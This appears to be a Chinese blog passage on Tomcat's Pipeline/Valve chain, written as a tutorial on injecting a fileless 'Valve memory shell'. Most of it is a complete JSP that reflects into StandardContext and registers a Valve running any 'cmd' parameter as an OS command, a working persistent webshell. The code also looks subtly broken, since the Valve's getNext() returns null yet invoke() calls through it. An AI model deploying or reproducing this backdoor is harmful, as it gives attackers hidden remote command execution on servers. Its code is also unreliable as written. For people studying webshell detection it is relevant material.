# Pineline

在上面的 Tomcat 执行流程中讲到过 Pineline 的调用链,每一层的 valve 都会顺序调用,上层的 valve 会调用下层的 valve ,然后每次调用 valveinvoke() 方法

比如在 StandardHostValve 类中是这样调用 valveinvoke() 方法的

Context context = request.getContext(); // 获取 StandardContext
...
context.getPipeline().getFirst().invoke(request, response); // 获取 StandardContext 的 Valve

然后在每一个 invoke() 里面又会递归调用

getNext().invoke(request, response); // 获取 StandardContext 的下一个 Valve

所以我们只需在 standardContext 中添加我们的 valve ,即可注入 Valve 内存马

standardContext.getPipeline().addValve(valve);

实现

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>AddVavle</title>
</head>
<body>
<%
    try {
        // 从 ServletContext 中反射获取 ApplicationContext 和 StandardContext
        ServletContext servletContext = request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        Valve valve = new Valve() {
            @Override
            public void invoke(Request request, Response response) throws IOException, ServletException {
                HttpServletRequest req = request;
                String cmd = req.getParameter("cmd");
                if (cmd != null) {
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = response.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                this.getNext().invoke(request, response);
            }
            @Override
            public boolean isAsyncSupported() { return false; }
            @Override
            public Valve getNext() { return null; }
            @Override
            public void setNext(Valve valve) {}
            @Override
            public void backgroundProcess() {}
        };
        standardContext.getPipeline().addValve(valve);
        response.getWriter().write("Success");
    } catch (Exception e) {
        e.printStackTrace();
    }
%>
</body>
</html>

image-20220421214522674

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝